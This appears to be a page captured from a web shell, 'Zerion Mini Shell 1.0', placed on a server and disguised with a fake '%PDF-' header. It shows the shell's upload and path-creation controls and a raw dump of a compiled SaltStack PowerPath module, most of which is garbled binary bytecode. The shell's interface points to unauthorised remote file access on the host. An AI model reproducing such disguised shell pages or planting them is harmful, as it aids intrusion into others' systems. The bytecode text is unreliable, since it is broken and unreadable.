%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/powerpath.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZidd6dd6dd	6d
d6dd
6dd6dd6dd6Zejd�Z	d�Z
d�Zd�Zd�Z
d�ZdS(u%
powerpath support.

Assumes RedHat

i(tabsolute_importtprint_functiontunicode_literalsNuaduAdaptiveucouCLAROptulbuLeastBlocksuliuLeastIosureuREquesturru
RoundRobinusiuStreamIousouSymmOptu.*policy=([^;]+)cC@stjjd�rtStS(Nu
/sbin/emcpreg(tostpathtexiststTruetFalse(((s:/usr/lib/python2.7/site-packages/salt/modules/powerpath.pyt
has_powerpathscC@sVytd}Wntk
r(tdfSXt�s<tdfS|dkrLdStdfS(uP
    Provide this only on Linux systems until proven to
    work elsewhere.
    ukerneluOThe powerpath execution module cannot be loaded: unable to detect kernel grain.uUThe powerpath execution module cannot be loaded: the emcpreg binary is not available.uLinuxu	powerpathuIThe powerpath execution module cannot be loaded: only available on Linux.(t
__grains__t	ExceptionRR(tkernel_grain((s:/usr/lib/python2.7/site-packages/salt/modules/powerpath.pyt__virtual__#s
	
cC@sxtjd�}g}tdd�}xL|j�D]>}|j|�}|sSq2n|ji|jd�d6�q2W|S(u:
    returns a list of applied powerpath license keys
    uKey (.*)ucmd.runu/sbin/emcpreg -listiukey(tretcompilet__salt__t
splitlinestmatchtappendtgroup(tKEY_PATTERNtkeystouttlineR((s:/usr/lib/python2.7/site-packages/salt/modules/powerpath.pyt
list_licenses6s!cC@s�itd6dd6dd6}t�s2d|d<|Sdj|�}td|d	t�}|d|d<|dd
kr�|d|d<n|d|d<t|d<|S(
u
    Add a license
    uresulti����uretcodeuuoutputuPowerPath is not installedu/sbin/emcpreg -add {0}ucmd.run_alltpython_shelliustderrustdout(RRtformatRR(tkeytresulttcmdtret((s:/usr/lib/python2.7/site-packages/salt/modules/powerpath.pytadd_licenseIs
	

cC@s�itd6dd6dd6}t�s2d|d<|Sdj|�}td|d	t�}|d|d<|dd
kr�|d|d<n|d|d<t|d<|S(
u
    Remove a license
    uresulti����uretcodeuuoutputuPowerPath is not installedu/sbin/emcpreg -remove {0}ucmd.run_allRiustderrustdout(RRRRR(RRRR((s:/usr/lib/python2.7/site-packages/salt/modules/powerpath.pytremove_licensees
	

(t__doc__t
__future__RRRRR
tPOLICY_MAP_DICTRt	POLICY_RERRRRR (((s:/usr/lib/python2.7/site-packages/salt/modules/powerpath.pyt<module>s$
				

Zerion Mini Shell 1.0